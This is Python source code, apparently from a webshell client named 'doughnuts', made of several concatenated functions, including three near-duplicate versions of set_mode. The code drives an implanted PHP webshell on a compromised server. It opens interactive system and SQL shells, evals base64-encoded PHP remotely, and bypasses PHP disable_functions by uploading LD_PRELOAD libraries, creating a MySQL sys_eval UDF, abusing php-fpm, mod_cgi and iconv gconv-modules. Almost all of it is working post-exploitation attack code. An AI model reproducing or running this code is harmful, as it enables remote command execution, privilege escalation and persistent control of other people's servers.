def run(*commands): """ shell Get a temporary shell of target system by system function or just run a shell command. """ command = str(value_translation(gget("raw_command_args"))) if (command): res = send(get_system_code(command)) if (not res): return print(color.green("\nResult:\n\n") + res.r_text.strip() + "\n") return print( color.cyan( "Eenter interactive temporary shell...\n\nUse 'back' command to return doughnuts.\n" )) res = send( f'{get_system_code("whoami")}print("@".$_SERVER["SERVER_NAME"]."|".getcwd());' ).r_text.strip() prompt, pwd = res.split("|") set_namespace("webshell", False, True) wordlist = gget("webshell.wordlist") readline.set_wordlist(NEW_WINDOWS_WORDLIST if ( is_windows()) else NEW_UNIX_WORDLIST) if is_windows(): prompt = "%s> " else: prompt = prompt.replace("\r", "").replace("\n", "") + ":%s$ " try: while gget("loop"): print(prompt % pwd, end="") command = str(value_translation(readline())) lower_command = command.lower() if (lower_command.lower() in ['exit', 'quit', 'back']): print() break if (command == ''): print() continue b64_pwd = base64_encode(pwd) if (lower_command.startswith("cd ") and len(lower_command) > 3): path = base64_encode(lower_command[3:].strip()) res = send( f'chdir(base64_decode(\'{b64_pwd}\'));chdir(base64_decode(\'{path}\'));print(getcwd());' ) if (not res): return pwd = res.r_text.strip() else: res = send(f'chdir(base64_decode(\'{b64_pwd}\'));' + get_system_code(command)) if (not res): return print("\n" + res.r_text.strip() + "\n") finally: readline.set_wordlist(wordlist)
def run(): """ db_shell Get a temporary sql shell of target system. """ if (not gget("db_connected", "webshell")): print(color.red("Please run db_init command first")) return print( color.cyan( "Eenter interactive temporary sql shell...\n\nUse 'back' command to return doughnuts.\n" )) database = gget("db_dbname", "webshell") prompt = "mysql (%s) > " set_namespace("webshell", False, True) wordlist = gget("webshell.wordlist") readline.set_wordlist(NEW_SQL_WORDLIST) try: while gget("loop"): print(prompt % color.cyan(database), end="") command = readline() lower_command = command.lower() if (lower_command.lower() in ['exit', 'quit', 'back']): print() break if (command == ''): print() continue if (lower_command.startswith("use ") and len(lower_command) > 4): try: temp_database = match("use ([^;]*);?", lower_command).group(1) res = send(check_database(temp_database)) if ("Connect error" in res.r_text): print("\n" + color.red(res.r_text.strip()) + "\n") else: database = temp_database print("\n" + color.green( f"Change current database: {database}") + "\n") except (IndexError, AttributeError): print("\n" + color.red("SQL syntax error") + "\n") else: form = execute_sql_command(command, database) if (form == ''): print("\n" + color.red("Connection Error / SQL syntax error") + "\n") else: print(execute_sql_command(command, database)) finally: gset("db_dbname", database, True, "webshell") readline.set_wordlist(wordlist)
def run(*commands): """ webshell Get a webshell of target system or just run a webshell command. """ command = gget("raw_command_args") if (command): res = send((command)) if (not res): return print(color.green("\nResult:\n\n") + res.r_text.strip() + "\n") return print( color.cyan( "Eenter interactive temporary webshell...\n\nUse 'back' command to return doughnuts.\n" )) pwd = send(f'print(getcwd());').r_text.strip() set_namespace("webshell", False, True) wordlist = gget("webshell.wordlist") readline.set_wordlist(NEW_WORDLIST) try: while gget("loop"): print(f"webshell:{pwd} >> ", end="") data = readline(b"(") lower_data = data.lower() if (lower_data.lower() in ['exit', 'quit', 'back']): print() break if (data == ''): print() continue data = base64_encode(data) b64_pwd = base64_encode(pwd) if (lower_data.startswith("cd ") and len(lower_data) > 3): path = base64_encode(lower_data[3:].strip()) res = send( f'chdir(base64_decode(\'{b64_pwd}\'));chdir(base64_decode(\'{path}\'));print(getcwd());' ) if (not res): return pwd = res.r_text.strip() else: res = send( f'eval("chdir(base64_decode(\'{b64_pwd}\'));eval(base64_decode(\'{data}\'));");' ) if (not res): return print("\n" + res.r_text.strip() + "\n") finally: readline.set_wordlist(wordlist)
def run(id: int = 0): """ load Load a webshell from log. eg: load {id} """ pf = gget("main.pf") root_path = gget("root_path") webshell_log_path = path.join(root_path, "webshell.log") if (not path.exists(webshell_log_path)): print(color.red("No webshell.log")) return f = open(webshell_log_path, "r+") lines = f.readlines() try: if (id <= 0): line_num = pf["show"].run() print("choose:>", end="") load_id = readline() if (load_id.isdigit()): load_id = int(load_id) else: print(color.red("\nInput Error\n")) return else: load_id = id line_num = len(lines) if load_id <= line_num: data = lines[load_id - 1].strip().split("|") gset("webshell.from_log", True, namespace="webshell") connect = pf["connect"].run(*data) if (not connect): print( "\nThis webshell seems to no longer working, do you want to delete it?\n\n(YES/no) >", end="") flag = input() if (flag.lower() in ['n', 'no']): return del lines[load_id - 1] f.seek(0) f.truncate() f.write("".join(lines)) else: print(color.red("ID error")) finally: f.close()
def run(id: int = 0): """ remove Remove a webshell log. eg: remove {_id} """ pf = gget("main.pf") root_path = gget("root_path") webshell_log_path = path.join(root_path, "webshell.log") if (not path.exists(webshell_log_path)): print(color.red("No webshell.log")) return f = open(webshell_log_path, "r+") lines = f.readlines() line_num = len(lines) f.seek(0) f.truncate() try: if (id <= 0): pf["show"].run() print("choose:>", end="") load_id = readline() if (load_id.isdigit()): load_id = int(load_id) else: print(color.red("\nInput Error\n")) return else: load_id = id if load_id <= line_num: del lines[load_id - 1] f.write("".join(lines)) print(color.green("\nRemove success\n")) else: print(color.red("ID error")) finally: f.close()
def set_mode(mode: int, test: bool = False): if (mode == 4 and not gget("webshell.ld_preload_path", "webshell", False)): # ld_preload disable_func_list = gget("webshell.disable_functions", "webshell") if (not gget("webshell.ld_preload_path", "webshell", None)): filename = "/tmp/%s.so" % str(uuid4()) ld_preload_func = send(get_detectd_ld_preload()).r_text.strip() upload_result = upload( path.join(gget("root_path"), "auxiliary", "ld_preload", "ld_preload_x86_64.so"), filename, True) if (not upload_result): return gset("webshell.ld_preload_path", filename, True, "webshell") gset("webshell.ld_preload_func", ld_preload_func, True, "webshell") if ("putenv" in disable_func_list): print(color.red("\nputenv is disabled\n")) return False if (not ld_preload_func): print(color.red("\nNo ld_preload function!\n")) return False if (mode in mode_require_ext_dict): ext = mode_require_ext_dict[mode] res = send(get_detectd_ext(ext)) if (not res): return False text = res.r_text.strip() if ("exist" not in text): print(color.red(f"\nNo {ext} extension\n")) return False if (mode == 8): # udf if (gget("db_connected", "webshell") and gget("db_dbms", "webshell") == "mysql"): print(color.yellow(f"\nDetect plugin dir...")) plugin_dir_res = execute_sql_command( "show variables like '%plugin_dir%';", raw=True) if (len(plugin_dir_res) > 1 and len(plugin_dir_res[1]) > 1): plugin_dir = plugin_dir_res[1][1].strip().replace("\\", "\\\\") else: print(color.red(f"\nCould not find plugin_dir")) return False print(color.yellow(f"\nMake plugin dir...")) phpcode = '''if(!is_dir("%s") and !mkdir("%s", 0777, true)){print("fail");}''' % ( plugin_dir, plugin_dir) res = send(phpcode) if (not res or "fail" in res.r_text): print(color.red(f"\nMake plugin dir failed!\n")) return False system = "windows" if (gget("webshell.iswin", "webshell")) else "linux" print("\nReference Information:", gget("webshell.os_version", "webshell")) print("\nInput target system bits (32/64/exit): ", end="") bits = "64" _ = readline().strip() if (_ == "32"): bits = 32 elif (_ in ["back", "exit", "quit"] or _ != "64"): return False udf_ext = ".dll" if (gget("webshell.iswin", "webshell")) else ".so" udf_path = plugin_dir + "tmp" + udf_ext print(color.yellow(f"\nUpload {udf_ext[1:]}...")) upload_result = upload( path.join(gget("root_path"), "auxiliary", "udf", "mysql", system, bits, "lib_mysqludf_sys" + udf_ext), udf_path, True) if (not upload_result): print(color.red("\nUpload failed\n")) return gset("webshell.udf_path", udf_path, True, "webshell") print(color.yellow(f"\nCreate function sys_eval...")) execute_sql_command( f"create function sys_eval returns string soname 'tmp{udf_ext}'", raw=True) test_res = execute_sql_command("select sys_eval('whoami');", raw=True) if (len(test_res) > 1 and len(test_res[1][0])): print(color.green(f"\nCreate funtion success")) else: print(color.red(f"\nCreate funtion failed\n")) return False else: print( color.red( f"\nNo connection to database or dbms isn't mysql\n")) return False if (not test): if (mode == 7): print( color.yellow( f"\nYou may need to wait 1 second to get the result..\n")) print( f"\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\n" ) gset("webshell.bypass_df", mode, True, "webshell") return True
def set_mode(mode: int, test: bool = False): if (mode in mode_require_ext_dict): ext = mode_require_ext_dict[mode] res = send(get_detectd_ext(ext)) if (not res): return False text = res.r_text.strip() if ("exist" not in text): print(color.red(f"\nNo {ext} extension\n")) return False if (mode == 4 and not gget("webshell.ld_preload_path", "webshell", False)): # ld_preload disable_func_list = gget("webshell.disable_functions", "webshell") if (not gget("webshell.ld_preload_path", "webshell", None)): filename = "/tmp/%s.so" % str(uuid4()) ld_preload_func = send(get_detectd_ld_preload()).r_text.strip() upload_result = upload( path.join(gget("root_path"), "auxiliary", "ld_preload", "ld_preload_x86_64.so"), filename, True) if (not upload_result): return gset("webshell.ld_preload_path", filename, True, "webshell") gset("webshell.ld_preload_func", ld_preload_func, True, "webshell") if ("putenv" in disable_func_list): print(color.red("\nputenv is disabled\n")) return False if (not ld_preload_func): print(color.red("\nNo ld_preload function!\n")) return False elif (mode == 8): # udf if (gget("db_connected", "webshell") and gget("db_dbms", "webshell") == "mysql"): print(color.yellow(f"\nDetect plugin dir...")) plugin_dir_res = execute_sql_command( "show variables like '%plugin_dir%';", raw=True) if (len(plugin_dir_res) > 1 and len(plugin_dir_res[1]) > 1): plugin_dir = plugin_dir_res[1][1].strip().replace("\\", "\\\\") else: print(color.red(f"\nCould not find plugin_dir")) return False print(color.yellow(f"\nMake plugin dir...")) phpcode = '''if(!is_dir("%s") and !mkdir("%s", 0777, true)){print("fail");}''' % ( plugin_dir, plugin_dir) res = send(phpcode) if (not res or "fail" in res.r_text): print(color.red(f"\nMake plugin dir failed!\n")) return False system = "windows" if (gget("webshell.iswin", "webshell")) else "linux" print("\nReference Information:", gget("webshell.os_version", "webshell")) print("\nInput target system bits (32/64/exit): ", end="") bits = "64" _ = readline().strip() if (_ == "32"): bits = 32 elif (_ in ["back", "exit", "quit"] or _ != "64"): return False udf_ext = ".dll" if (gget("webshell.iswin", "webshell")) else ".so" udf_path = plugin_dir + "tmp" + udf_ext print(color.yellow(f"\nUpload {udf_ext[1:]}...")) upload_result = upload( path.join(gget("root_path"), "auxiliary", "udf", "mysql", system, bits, "lib_mysqludf_sys" + udf_ext), udf_path, True) if (not upload_result): print(color.red("\nUpload failed\n")) return gset("webshell.udf_path", udf_path, True, "webshell") print(color.yellow(f"\nCreate function sys_eval...")) execute_sql_command( f"create function sys_eval returns string soname 'tmp{udf_ext}'", raw=True) test_res = execute_sql_command("select sys_eval('whoami');", raw=True) if (len(test_res) > 1 and len(test_res[1][0])): print(color.green(f"\nCreate funtion success")) else: print(color.red(f"\nCreate funtion failed\n")) return False else: print( color.red( f"\nNo connection to database or dbms isn't mysql\n")) return False elif (mode == 10): # php-fpm res = send("print(php_sapi_name());") if (not res or "fpm" not in res.r_text): print(color.red(f"\nTarget php not run by php-fpm!\n")) return False requirements_dict = { 'host': '127.0.0.1', 'port': 9000, "php_file": "/usr/local/lib/php/PEAR.php" } for k, v in requirements_dict.items(): new_v = input(f"{k}[{v}]:") if k == 'port': new_v = new_v if new_v else v try: new_v = int(new_v) except ValueError: print(color.red(f"\nPort must be number!\n")) return False if new_v: requirements_dict[k] = new_v attack_type = input("attack_type[gopher/sock]:").lower() if (attack_type not in ["gopher", "sock"]): return False if (attack_type == "sock"): sock_path = "/var/run/php7-fpm.sock" new_v = input(f"sock_path[{sock_path}]:") if new_v: sock_path = new_v gset("webshell.bdf_fpm.sock_path", sock_path, True, "webshell") gset("webshell.bdf_fpm.host", requirements_dict["host"], True, "webshell") gset("webshell.bdf_fpm.port", str(requirements_dict["port"]), True, "webshell") gset("webshell.bdf_fpm.php_file", requirements_dict["php_file"], True, "webshell") gset("webshell.bdf_fpm.type", attack_type, True, "webshell") if (not test): if (mode == 7): print( color.yellow( f"\nYou may need to wait 1 second to get the result..\n")) print( f"\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\n" ) gset("webshell.bypass_df", mode, True, "webshell") return True
def set_mode(mode: int, test: bool = False): if (mode in mode_require_ext_dict): ext = mode_require_ext_dict[mode] res = send(get_detectd_ext(ext)) if (not res): return False text = res.r_text.strip() if ("exist" not in text): print(color.red(f"\nNo {ext} extension\n")) return False if (mode == 4 and not gget("webshell.ld_preload_path", "webshell", False)): # ld_preload if is_windows(): print(color.red("\nNo ld_preload function!\n")) return False disable_funcs = gget("webshell.disable_functions", "webshell") # can't work if putenv is disabled if ("putenv" in disable_funcs): print(color.red("\nputenv is disabled\n")) return False # check if already set ld_preload if (not gget("webshell.ld_preload_path", "webshell", None)): filename = "/tmp/%s.so" % str(uuid4()) # get ld_preload trigger function available_trigger_funcs = [ 'mail', 'error_log', 'mb_send_mail', 'imap_mail' ] ld_preload_funcs = [ f for f in available_trigger_funcs if f not in disable_funcs ] if (not ld_preload_funcs): print(color.red("\nNo ld_preload function!\n")) return False ld_preload_func = choice(ld_preload_funcs) # get target architecture bits = gget("webshell.arch", namespace="webshell") if not bits: print("\nInput target system bits (32/64): ", end="") _ = readline().strip() if (_ == "32"): bits = 32 elif (_ == "64"): bits = 64 else: print(color.red("\nUnknown bits\n")) return False bits = str(bits) if bits == "32": bits = "86" # upload so upload_result = upload( path.join(gget("root_path"), "auxiliary", "ld_preload", "ld_preload_x" + bits + ".so"), filename, True) if (not upload_result): print(color.red("\nUpload error\n")) return gset("webshell.ld_preload_path", filename, True, "webshell") gset("webshell.ld_preload_func", ld_preload_func, True, "webshell") elif (mode == 8): # udf if (gget("db_connected", "webshell") and gget("db_dbms", "webshell") == "mysql"): # detect plugin dir print(color.yellow(f"\nDetect plugin dir...")) plugin_dir_res = execute_sql_command( "show variables like '%plugin_dir%';", raw=True) if (len(plugin_dir_res) > 1 and len(plugin_dir_res[1]) > 1): plugin_dir = plugin_dir_res[1][1].strip().replace("\\", "\\\\") else: print(color.red(f"\nCould not find plugin_dir")) return False # make plugin dir print(color.yellow(f"\nMake plugin dir...")) phpcode = '''if(!is_dir("%s") and !mkdir("%s", 0777, true)){print("fail");}''' % ( plugin_dir, plugin_dir) res = send(phpcode) if (not res or "fail" in res.r_text): print(color.red(f"\nMake plugin dir failed!\n")) return False system = "windows" if is_windows() else "linux" print("\nReference Information:", gget("webshell.os_version", "webshell")) bits = gget("webshell.arch", namespace="webshell") if not bits: print("\nInput target system bits (32/64): ", end="") _ = readline().strip() if (_ == "32"): bits = 32 elif (_ == "64"): bits = 64 elif (_ in ["back", "exit", "quit"]): return False else: print(color.red("\nUnknown bits\n")) return False bits = str(bits) # upload so / dll udf_ext = ".dll" if is_windows() else ".so" udf_path = plugin_dir + "tmp" + udf_ext print(color.yellow(f"\nUpload {udf_ext[1:]}...")) upload_result = upload(path.join(gget("root_path"), "auxiliary", "udf", "mysql", system, bits, "lib_mysqludf_sys" + udf_ext), udf_path, force=True) if (not upload_result): print(color.red("\nUpload failed\n")) return gset("webshell.udf_path", udf_path, True, "webshell") # create function sys_eval print(color.yellow(f"\nCreate function sys_eval...")) execute_sql_command( f"create function sys_eval returns string soname 'tmp{udf_ext}'", raw=True) test_res = execute_sql_command("select sys_eval('whoami');", raw=True) if (len(test_res) > 1 and len(test_res[1][0])): print(color.green(f"\nCreate funtion success")) else: print(color.red(f"\nCreate funtion failed\n")) return False else: print( color.red( f"\nNo connection to database or dbms isn't mysql\n")) return False elif (mode == 10): # php-fpm res = send("print(php_sapi_name());") if (not res or "fpm" not in res.r_text): print(color.red(f"\nTarget php not run by php-fpm!\n")) return False requirements_dict = {'host': '127.0.0.1', 'port': 9000} attack_type = input( "attack_type[gopher(need curl extension)/sock/http_sock]:").lower( ) if (attack_type not in ["gopher", "sock", "http_sock"]): return False gset("webshell.bdf_fpm.type", attack_type, True, "webshell") # input sock path if (attack_type == "sock"): sock_path = "/var/run/php7-fpm.sock" new_v = input(f"sock_path[{sock_path}]:") if new_v: sock_path = new_v gset("webshell.bdf_fpm.sock_path", sock_path, True, "webshell") else: # input fpm http host and port for k, v in requirements_dict.items(): new_v = input(f"{k}[{v}]:") if k == 'port': new_v = new_v if new_v else v try: new_v = int(new_v) except ValueError: print(color.red(f"\nport must be number\n")) return False if new_v: requirements_dict[k] = new_v gset("webshell.bdf_fpm.host", requirements_dict["host"], True, "webshell") gset("webshell.bdf_fpm.port", str(requirements_dict["port"]), True, "webshell") elif (mode == 11): # apache-mod-cgi res = send("""$f=in_array('mod_cgi', apache_get_modules()); $f2=is_writable('.'); $f3=!empty($_SERVER['HTACCESS']); if(!$f){ die("Mod-Cgi not enabled"); } else if (!$f2) { die("Current directory not writable"); } print("success");""") if (res.r_text != "success"): print(color.red(f"\n{res.r_text}\n")) return False elif (mode == 12 and not gget("webshell.ld_preload_path", "webshell", False)): # iconv disable_funcs = gget("webshell.disable_functions", "webshell") # can't work if putenv is disabled if ("putenv" in disable_funcs): print(color.red("\nputenv is disabled\n")) return False # check if already set ld_preload if (not gget("webshell.iconv_path", "webshell", None)): filename = "/tmp/%s" % str(uuid4()) # get target architecture bits = gget("webshell.arch", namespace="webshell") if not bits: print("\nInput target system bits (32/64): ", end="") _ = readline().strip() if (_ == "32"): bits = 32 elif (_ == "64"): bits = 64 else: print(color.red("\nUnknown bits\n")) return False bits = str(bits) if bits == "32": bits = "86" # upload so upload_result = upload(path.join(gget("root_path"), "auxiliary", "iconv", "iconv_x" + bits + ".so"), filename + ".so", force=True) if (not upload_result): print(color.red("\nUpload error\n")) return gconv_modules = f"""module PAYLOAD// INTERNAL ../../../../../../../..{filename} 2 module INTERNAL PAYLOAD// ../../../../../../../..{filename} 2""" send( f"file_put_contents('/tmp/gconv-modules', base64_decode('{base64_encode(gconv_modules)}'));" ) gset("webshell.iconv_path", filename + ".so", True, "webshell") gset("webshell.iconv_gconv_modules_path", "/tmp/gconv-modules", True, "webshell") if (not test): if (mode in (7, 10, 12)): print( color.yellow( f"\nYou may need to wait 1 second to get the result..\n")) print( f"\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\n" ) gset("webshell.bypass_df", mode, True, "webshell") return True